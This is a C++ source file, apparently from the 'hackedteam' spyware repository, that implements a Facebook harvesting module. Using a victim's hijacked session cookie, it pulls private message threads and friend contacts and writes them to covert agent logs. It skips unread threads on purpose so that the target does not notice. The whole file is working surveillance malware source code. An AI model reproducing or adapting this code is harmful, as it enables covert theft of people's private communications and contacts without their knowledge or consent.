hackedteam/core-linux

View on GitHub
contrib/social/Handler_Facebook.cpp

Summary

Maintainability
Test Coverage
#include <windows.h>
#include <stdio.h>
#include <time.h>
#include "..\common.h"
#include "..\LOG.h"
#include "SocialMain.h"
#include "NetworkHandler.h"

#define FB_THREAD_IDENTIFIER "\\/messages\\/?action=read&amp;tid="
#define FB_THREAD_AUTHOR_IDENTIFIER "class=\\\"authors\\\">"
#define FB_THREAD_STATUS_IDENTIFIER "class=\\\"threadRow noDraft "
#define FB_MESSAGE_TSTAMP_IDENTIFIER "data-utime=\\\""
#define FB_MESSAGE_BODY_IDENTIFIER "div class=\\\"content noh\\\" id=\\\""
#define FB_MESSAGE_AUTHOR_IDENTIFIER "\\u003C\\/a>\\u003C\\/strong>"
#define FB_MESSAGE_SCREEN_NAME_ID "\"id\":\"%s\",\"name\":\""
#define FB_NEW_LINE "\\u003Cbr \\/> "
#define FB_POST_FORM_ID "post_form_id\":\""
#define FB_PEER_ID_IDENTIFIER "\"fbid:"
#define FB_DTSG_ID "fb_dtsg\":\""
#define FACEBOOK_THREAD_LIMIT 15
#define MAX_FACEBOOK_ACCOUNTS 500 
#define FB_INVALID_TSTAMP 0xFFFFFFFF

extern BOOL bPM_IMStarted; // variabili per vedere se gli agenti interessati sono attivi
extern BOOL bPM_ContactsStarted; 

extern BOOL DumpContact(HANDLE hfile, DWORD program, WCHAR *name, WCHAR *email, WCHAR *company, WCHAR *addr_home, WCHAR *addr_office, WCHAR *phone_off, WCHAR *phone_mob, WCHAR *phone_hom, WCHAR *skype_name, WCHAR *facebook_page, DWORD flags);
extern wchar_t *UTF8_2_UTF16(char *str); // in firefox.cpp

typedef struct {
    char user[48];
    DWORD tstamp_lo;
    DWORD tstamp_hi;
} last_tstamp_struct;
last_tstamp_struct *last_tstamp_array = NULL;

DWORD GetLastFBTstamp(char *user, DWORD *hi_part)
{
    DWORD i;

    if (hi_part)
        *hi_part = FB_INVALID_TSTAMP;

    // Se e' la prima volta che viene chiamato 
    // alloca l'array
    if (!last_tstamp_array) {
        last_tstamp_array = (last_tstamp_struct *)calloc(MAX_FACEBOOK_ACCOUNTS, sizeof(last_tstamp_struct));
        if (!last_tstamp_array)
            return FB_INVALID_TSTAMP;
        Log_RestoreAgentState(PM_SOCIALAGENT_FB, (BYTE *)last_tstamp_array, MAX_FACEBOOK_ACCOUNTS*sizeof(last_tstamp_struct));
    }
    if (!user || !user[0])
        return FB_INVALID_TSTAMP;

    for (i=0; i<MAX_FACEBOOK_ACCOUNTS; i++) {
        if (last_tstamp_array[i].user[0] == 0) {
            if (hi_part)
                *hi_part = 0;
            return 0;
        }
        if (!strcmp(user, last_tstamp_array[i].user)) {
            if (hi_part)
                *hi_part = last_tstamp_array[i].tstamp_hi;
            return last_tstamp_array[i].tstamp_lo;
        }
    }
    return FB_INVALID_TSTAMP;
}

void SetLastFBTstamp(char *user, DWORD tstamp_lo, DWORD tstamp_hi)
{
    DWORD i, dummy;

    if (!user || !user[0])
        return;

    if (tstamp_lo==0 && tstamp_hi==0)
        return;

    if (!last_tstamp_array && GetLastFBTstamp(user, &dummy)==FB_INVALID_TSTAMP && dummy==FB_INVALID_TSTAMP)
        return;

    for (i=0; i<MAX_FACEBOOK_ACCOUNTS; i++) {
        if (last_tstamp_array[i].user[0] == 0)
            break;
        if (!strcmp(user, last_tstamp_array[i].user)) {
            if (tstamp_hi < last_tstamp_array[i].tstamp_hi)
                return;
            if (tstamp_hi==last_tstamp_array[i].tstamp_hi && tstamp_lo<=last_tstamp_array[i].tstamp_lo) 
                return;
            last_tstamp_array[i].tstamp_hi = tstamp_hi;
            last_tstamp_array[i].tstamp_lo = tstamp_lo;
            Log_SaveAgentState(PM_SOCIALAGENT_FB, (BYTE *)last_tstamp_array, MAX_FACEBOOK_ACCOUNTS*sizeof(last_tstamp_struct));
            return;
        }
    }

    for (i=0; i<MAX_FACEBOOK_ACCOUNTS; i++) {
        // Lo scrive nella prima entry libera
        if (last_tstamp_array[i].user[0] == 0) {
            _snprintf_s(last_tstamp_array[i].user, 48, _TRUNCATE, "%s", user);        
            last_tstamp_array[i].tstamp_hi = tstamp_hi;
            last_tstamp_array[i].tstamp_lo = tstamp_lo;
            Log_SaveAgentState(PM_SOCIALAGENT_FB, (BYTE *)last_tstamp_array, MAX_FACEBOOK_ACCOUNTS*sizeof(last_tstamp_struct));
            return;
        }
    }
}

DWORD HandleFBMessages(char *cookie)
{
    DWORD ret_val;
    BYTE *r_buffer = NULL;
    BYTE *r_buffer_inner = NULL;
    DWORD response_len, dummy;
    WCHAR url[256];
    BOOL me_present = FALSE;
    BYTE *parser1, *parser2;
    BYTE *parser_inner1, *parser_inner2;
    WCHAR fb_request[256];
    BOOL is_incoming = FALSE;
    char peers[512];
    char peers_id[256];
    char author[256];
    char author_id[256];
    char tstamp[11];
    DWORD act_tstamp;
    DWORD last_tstamp = 0;
    char *msg_body = NULL;
    DWORD msg_body_size, msg_part_size;
    char user[256];
    char form_id[256];
    char dtsg_id[256];
    char post_data[512];
    char screen_name_tag[256];
    char screen_name[256];

    CheckProcessStatus();

    if (!bPM_IMStarted)
        return SOCIAL_REQUEST_NETWORK_PROBLEM;
    
    // Identifica l'utente
    ret_val = HttpSocialRequest(L"www.facebook.com", L"GET", L"/home.php?", 80, NULL, 0, &r_buffer, &response_len, cookie);    
    if (ret_val != SOCIAL_REQUEST_SUCCESS)
        return ret_val;
    parser1 = (BYTE *)strstr((char *)r_buffer, "\"user\":\"");
    if (!parser1) {
        SAFE_FREE(r_buffer);
        return SOCIAL_REQUEST_BAD_COOKIE;
    }
    parser1 += strlen("\"user\":\"");
    parser2 = (BYTE *)strchr((char *)parser1, '\"');
    if (!parser2) {
        SAFE_FREE(r_buffer);
        return SOCIAL_REQUEST_BAD_COOKIE;
    }
    *parser2=0;
    _snprintf_s(user, sizeof(user), _TRUNCATE, "%s", parser1);

    // Torna utente "0" se non siamo loggati
    if (!strcmp(user, "0")) {
        SAFE_FREE(r_buffer);
        return SOCIAL_REQUEST_BAD_COOKIE;
    }

    // Cerca di ricavare lo screen name
    do {
        _snprintf_s(screen_name, sizeof(screen_name), _TRUNCATE, "Target");
        _snprintf_s(screen_name_tag, sizeof(screen_name_tag), _TRUNCATE, FB_MESSAGE_SCREEN_NAME_ID, user);
        parser1 = parser2 + 1;
        parser1 = (BYTE *)strstr((char *)parser1, screen_name_tag);
        if (!parser1)
            break;
        parser1 += strlen(screen_name_tag);
        parser2 = (BYTE *)strchr((char *)parser1, '\"');
        if (!parser2)
            break;
        *parser2=0;
        if (strlen((char *)parser1))
            _snprintf_s(screen_name, sizeof(screen_name), _TRUNCATE, "%s", parser1);
    } while(0);

    SAFE_FREE(r_buffer);

    // Carica dal file il last time stamp per questo utente
    last_tstamp = GetLastFBTstamp(user, NULL);
    if (last_tstamp == FB_INVALID_TSTAMP)
        return SOCIAL_REQUEST_BAD_COOKIE;

    // Costruisce il contenuto per le successive POST ajax
    ret_val = HttpSocialRequest(L"www.facebook.com", L"GET", L"/messages/", 80, NULL, 0, &r_buffer, &response_len, cookie);    
    if (ret_val != SOCIAL_REQUEST_SUCCESS)
        return ret_val;
    parser1 = (BYTE *)strstr((char *)r_buffer, FB_POST_FORM_ID);
    if (parser1) {
        parser1 += strlen(FB_POST_FORM_ID);
        parser2 = (BYTE *)strchr((char *)parser1, '\"');
        if (!parser2) {
            SAFE_FREE(r_buffer);
            return SOCIAL_REQUEST_BAD_COOKIE;
        }
        *parser2=0;
        _snprintf_s(form_id, sizeof(form_id), _TRUNCATE, "%s", parser1);
        parser1 = parser2 + 1;
    } else {
        parser1 = r_buffer;
        memset(form_id, 0, sizeof(form_id));
    }

    parser1 = (BYTE *)strstr((char *)parser1, FB_DTSG_ID);
    if (parser1) {
        parser1 += strlen(FB_DTSG_ID);
        parser2 = (BYTE *)strchr((char *)parser1, '\"');
        if (!parser2) {
            SAFE_FREE(r_buffer);
            return SOCIAL_REQUEST_BAD_COOKIE;
        }
        *parser2=0;
        _snprintf_s(dtsg_id, sizeof(dtsg_id), _TRUNCATE, "%s", parser1);
    } else {
        memset(dtsg_id, 0, sizeof(dtsg_id));
    }

    SAFE_FREE(r_buffer);
    _snprintf_s(post_data, sizeof(post_data), _TRUNCATE, "post_form_id=%s&fb_dtsg=%s&lsd&post_form_id_source=AsyncRequest&__user=%s&phstamp=145816710610967116112122", form_id, dtsg_id, user);

    // Chiede la lista dei thread
    swprintf_s(fb_request, L"ajax/messaging/async.php?sk=inbox&offset=0&limit=%d&__a=1", FACEBOOK_THREAD_LIMIT);
    ret_val = HttpSocialRequest(L"www.facebook.com", L"POST", fb_request, 80, (BYTE *)post_data, strlen(post_data), &r_buffer, &response_len, cookie);
    
    if (ret_val != SOCIAL_REQUEST_SUCCESS)
        return ret_val;

    parser1 = r_buffer;
    for (;;) {
        CheckProcessStatus();
        parser1 = (BYTE *)strstr((char *)parser1, FB_THREAD_STATUS_IDENTIFIER);
        if (!parser1)
            break;
        parser1 += strlen(FB_THREAD_STATUS_IDENTIFIER);
        // Salta i thread unread per non cambiare il loro stato!!!!
        if(!strncmp((char *)parser1, "unread", strlen("unread")))
            continue;

        parser1 = (BYTE *)strstr((char *)parser1, FB_THREAD_IDENTIFIER);
        if (!parser1)
            break;
        parser1 += strlen(FB_THREAD_IDENTIFIER);
        parser2 = (BYTE *)strstr((char *)parser1, "\\\" ");
        if (!parser2)
            break;
        *parser2 = 0;
        urldecode((char *)parser1);
        // Se voglio andare piu' indietro aggiungo alla richiesta...per ora pero' va bene cosi'
        // &thread_offset=0&num_msgs=60
        _snwprintf_s(url, sizeof(url)/sizeof(WCHAR), _TRUNCATE, L"/ajax/messaging/async.php?sk=inbox&action=read&tid=%S&__a=1", parser1);
        parser1 = parser2 + 1;

        parser1 = (BYTE *)strstr((char *)parser1, FB_MESSAGE_TSTAMP_IDENTIFIER);
        if (!parser1)
            break;
        parser1 += strlen(FB_MESSAGE_TSTAMP_IDENTIFIER);
        memset(tstamp, 0, sizeof(tstamp));
        memcpy(tstamp, parser1, 10);
        act_tstamp = atoi(tstamp);
        if (act_tstamp>2000000000 || act_tstamp <= last_tstamp)
            continue;

        parser1 = (BYTE *)strstr((char *)parser1, FB_THREAD_AUTHOR_IDENTIFIER);
        if (!parser1)
            break;
        parser1 += strlen(FB_THREAD_AUTHOR_IDENTIFIER);
        parser2 = (BYTE *)strstr((char *)parser1, "\\u003C\\/");
        if (!parser2)
            break;
        *parser2 = 0;
        _snprintf_s(peers, sizeof(peers), _TRUNCATE, "%s, %s", screen_name, parser1);
        parser1 = parser2 + 1;

        // Pe ogni thread chiede tutti i rispettivi messaggi
        ret_val = HttpSocialRequest(L"www.facebook.com", L"POST", url, 80, (BYTE *)post_data, strlen(post_data), &r_buffer_inner, &dummy, cookie);
        if (ret_val != SOCIAL_REQUEST_SUCCESS) {
            SAFE_FREE(r_buffer);
            return ret_val;
        }

        // Cerca gli id dei peers
        parser_inner1 = r_buffer_inner;
        memset(peers_id, 0, sizeof(peers_id));
        me_present = FALSE;
        for (;;) {
            parser_inner2 = (BYTE *)strstr((char *)parser_inner1, FB_PEER_ID_IDENTIFIER);
            if (!parser_inner2)
                break;
            parser_inner1 = parser_inner2 + strlen(FB_PEER_ID_IDENTIFIER);
            parser_inner2 = (BYTE *)strstr((char *)parser_inner1, "\"");
            if (!parser_inner2)
                break;
            *parser_inner2 = 0;

            if (!strcmp((CHAR *)parser_inner1, user))
                me_present = TRUE;

            if (strlen(peers_id) == 0)
                _snprintf_s(peers_id, sizeof(peers_id), _TRUNCATE, "%s", parser_inner1);
            else
                _snprintf_s(peers_id, sizeof(peers_id), _TRUNCATE, "%s,%s", peers_id, parser_inner1);
            
            parser_inner1 = parser_inner2 +1;
        }    
        if (!me_present)
            _snprintf_s(peers_id, sizeof(peers_id), _TRUNCATE, "%s,%s", peers_id, user);

        // Clicla per tutti i messaggi del thread
        for (;;) {            
            CheckProcessStatus();
            parser_inner1 = (BYTE *)strstr((char *)parser_inner1, FB_MESSAGE_TSTAMP_IDENTIFIER);
            if (!parser_inner1)
                break;
            parser_inner1 += strlen(FB_MESSAGE_TSTAMP_IDENTIFIER);
            memset(tstamp, 0, sizeof(tstamp));
            memcpy(tstamp, parser_inner1, 10);
            act_tstamp = atoi(tstamp);
            if (act_tstamp>2000000000 || act_tstamp <= last_tstamp)
                continue;
            SetLastFBTstamp(user, act_tstamp, 0);

            parser_inner2 = (BYTE *)strstr((char *)parser_inner1, FB_MESSAGE_AUTHOR_IDENTIFIER);
            if (!parser_inner2)
                break;
            *parser_inner2 = 0;
            parser_inner1 = parser_inner2;
            for (;*(parser_inner1) != '>' && parser_inner1 > r_buffer_inner; parser_inner1--);
            if (parser_inner1 <= r_buffer_inner)
                break;
            parser_inner1++;
            _snprintf_s(author, sizeof(author), _TRUNCATE, "%s", parser_inner1);
            parser_inner1--;
            for (;*(parser_inner1) != '\\' && parser_inner1 > r_buffer_inner; parser_inner1--);
            if (parser_inner1 <= r_buffer_inner)
                break;
            *parser_inner1 = 0;
            for (;*(parser_inner1) != '=' && parser_inner1 > r_buffer_inner; parser_inner1--);
            if (parser_inner1 <= r_buffer_inner)
                break;
            parser_inner1++;
            _snprintf_s(author_id, sizeof(author_id), _TRUNCATE, "%s", parser_inner1);
            parser_inner1 = parser_inner2 + 1;
            
            if (!strcmp(author_id, user))
                is_incoming = FALSE;
            else 
                is_incoming = TRUE;

            // Cicla per tutti i possibili body del messaggio
            SAFE_FREE(msg_body);
            msg_body_size = 0;
            for (;;) {
                BYTE *tmp_ptr1, *tmp_ptr2;
                tmp_ptr1 = (BYTE *)strstr((char *)parser_inner1, FB_MESSAGE_BODY_IDENTIFIER);
                if (!tmp_ptr1)
                    break;
                // Non ci sono piu' body (c'e' gia' un nuovo timestamp)
                tmp_ptr2 = (BYTE *)strstr((char *)parser_inner1, FB_MESSAGE_TSTAMP_IDENTIFIER);
                if (tmp_ptr2 && tmp_ptr2<tmp_ptr1)
                    break;
                parser_inner1 = tmp_ptr1;
                parser_inner1 = (BYTE *)strstr((char *)parser_inner1, "p>");
                if (!parser_inner1)
                    break;
                parser_inner1 += strlen("p>");
                parser_inner2 = (BYTE *)strstr((char *)parser_inner1, "\\u003C\\/p>");
                if (!parser_inner2)
                    break;
                *parser_inner2 = 0;

                msg_part_size = strlen((char *)parser_inner1);
                tmp_ptr1 = (BYTE *)realloc(msg_body, msg_body_size + msg_part_size + strlen(FB_NEW_LINE) + sizeof(WCHAR));
                if (!tmp_ptr1)
                    break;
                // Se non e' il primo body, accodiamo un "a capo"
                if (msg_body) {
                    memcpy(tmp_ptr1 + msg_body_size, FB_NEW_LINE, strlen(FB_NEW_LINE));
                    msg_body_size += strlen(FB_NEW_LINE);
                }

                msg_body = (char *)tmp_ptr1;
                memcpy(msg_body + msg_body_size, parser_inner1, msg_part_size);
                msg_body_size += msg_part_size;
                // Null-termina sempre il messaggio
                memset(msg_body + msg_body_size, 0, sizeof(WCHAR));

                parser_inner1 = parser_inner2 + 1;
            }

            // Vede se deve mettersi in pausa o uscire
            CheckProcessStatus();

            if (msg_body) {
                struct tm tstamp;
                _gmtime32_s(&tstamp, (__time32_t *)&act_tstamp);
                tstamp.tm_year += 1900;
                tstamp.tm_mon++;
                JsonDecode(msg_body);
                LogSocialIMMessageA(CHAT_PROGRAM_FACEBOOK, peers, peers_id, author, author_id, msg_body, &tstamp, is_incoming);
                SAFE_FREE(msg_body);
            } else
                break;
        }
        SAFE_FREE(r_buffer_inner);
    }

    SAFE_FREE(r_buffer);
    CheckProcessStatus();

    return SOCIAL_REQUEST_SUCCESS;
}


#define FB_CONTACT_IDENTIFIER "\"user\",\"text\":\""
#define FB_CPATH_IDENTIFIER ",\"path\":\""
#define FB_CATEGORY_IDENTIFIER ",\"category\":\""
#define FB_UID_IDENTIFIER "\"uid\":"
DWORD HandleFBContacts(char *cookie)
{
    DWORD ret_val;
    BYTE *r_buffer = NULL;
    DWORD response_len;
    char *parser1, *parser2, *parser3;
    WCHAR fb_request[256];
    char user[256];
    WCHAR *name_w, *profile_w, *category_w;
    char contact_name[256];
    char profile_path[256];
    char category[256];
    static BOOL scanned = FALSE;
    HANDLE hfile;
    DWORD flags;

    CheckProcessStatus();

    if (!bPM_ContactsStarted)
        return SOCIAL_REQUEST_NETWORK_PROBLEM;

    if (scanned)
        return SOCIAL_REQUEST_SUCCESS;
    
    // Identifica l'utente
    ret_val = HttpSocialRequest(L"www.facebook.com", L"GET", L"/home.php?", 80, NULL, 0, &r_buffer, &response_len, cookie);    
    if (ret_val != SOCIAL_REQUEST_SUCCESS)
        return ret_val;
    parser1 = strstr((char *)r_buffer, "\"user\":\"");
    if (!parser1) {
        SAFE_FREE(r_buffer);
        return SOCIAL_REQUEST_BAD_COOKIE;
    }
    parser1 += strlen("\"user\":\"");
    parser2 = strchr(parser1, '\"');
    if (!parser2) {
        SAFE_FREE(r_buffer);
        return SOCIAL_REQUEST_BAD_COOKIE;
    }
    *parser2=0;
    _snprintf_s(user, sizeof(user), _TRUNCATE, "%s", parser1);
    SAFE_FREE(r_buffer);

    // Torna utente "0" se non siamo loggati
    if (!strcmp(user, "0"))
        return SOCIAL_REQUEST_BAD_COOKIE;

    // Chiede la lista dei contatti
    _snwprintf_s(fb_request, sizeof(fb_request)/sizeof(WCHAR), _TRUNCATE, L"/ajax/typeahead/first_degree.php?__a=1&viewer=%S&token=v7&filter[0]=user&options[0]=friends_only&__user=%S", user, user);
    ret_val = HttpSocialRequest(L"www.facebook.com", L"GET", fb_request, 80, NULL, 0, &r_buffer, &response_len, cookie);
    if (ret_val != SOCIAL_REQUEST_SUCCESS)
        return ret_val;

    CheckProcessStatus();
    parser1 = (char *)r_buffer;
    
    hfile = Log_CreateFile(PM_CONTACTSAGENT, NULL, 0);
    for (;;) {
        flags = 0;
        parser1 = strstr(parser1, FB_UID_IDENTIFIER);
        if (!parser1)
            break;
        parser1 += strlen(FB_UID_IDENTIFIER);
        parser2 = strchr(parser1, ',');
        if (!parser2)
            break;
        *parser2 = NULL;
        _snprintf_s(profile_path, sizeof(profile_path), _TRUNCATE, "%s", parser1);
        if (!strcmp(user, parser1))
            flags |= CONTACTS_MYACCOUNT;
        parser1 = parser2 + 1;

        parser1 = strstr(parser1, FB_CONTACT_IDENTIFIER);
        if (!parser1)
            break;
        parser1 += strlen(FB_CONTACT_IDENTIFIER);
        parser2 = strchr(parser1, '\"');
        if (!parser2)
            break;
        *parser2 = NULL;
        _snprintf_s(contact_name, sizeof(contact_name), _TRUNCATE, "%s", parser1);
        parser1 = parser2 + 1;

        parser1 = strstr(parser1, FB_CPATH_IDENTIFIER);
        if (!parser1)
            break;
        parser1 += strlen(FB_CPATH_IDENTIFIER);
        parser2 = strchr(parser1, '\"');
        if (!parser2)
            break;
        *parser2 = NULL;
        //_snprintf_s(profile_path, sizeof(profile_path), _TRUNCATE, "%s", parser1);
        parser1 = parser2 + 1;

        // Verifica se c'e' category
        category[0]=NULL;
        parser2 = strstr(parser1, FB_CATEGORY_IDENTIFIER);
        if (parser2) {
            parser3 = strstr(parser1, FB_CONTACT_IDENTIFIER);
            if (!parser3 || parser3>parser2) {
                parser1 = parser2;
                parser1 += strlen(FB_CATEGORY_IDENTIFIER);
                parser2 = strchr(parser1, '\"');
                if (!parser2)
                    break;
                *parser2 = NULL;
                _snprintf_s(category, sizeof(category), _TRUNCATE, "%s", parser1);
                parser1 = parser2 + 1;
            }
        }
        JsonDecode(contact_name);
        JsonDecode(profile_path);
        JsonDecode(category);

        name_w = UTF8_2_UTF16(contact_name);
        profile_w = UTF8_2_UTF16(profile_path);
        category_w = UTF8_2_UTF16(category);

        if (profile_w[0] == L'/') // Toglie lo / dalla facebook page
            DumpContact(hfile, CONTACT_SRC_FACEBOOK, name_w, NULL, NULL, category_w, NULL, NULL, NULL, NULL, NULL, profile_w+1, flags);
        else
            DumpContact(hfile, CONTACT_SRC_FACEBOOK, name_w, NULL, NULL, category_w, NULL, NULL, NULL, NULL, NULL, profile_w, flags);
        
        SAFE_FREE(name_w);
        SAFE_FREE(profile_w);
        SAFE_FREE(category_w);
    }
    Log_CloseFile(hfile);

    scanned = TRUE;
    SAFE_FREE(r_buffer);
    return SOCIAL_REQUEST_SUCCESS;
}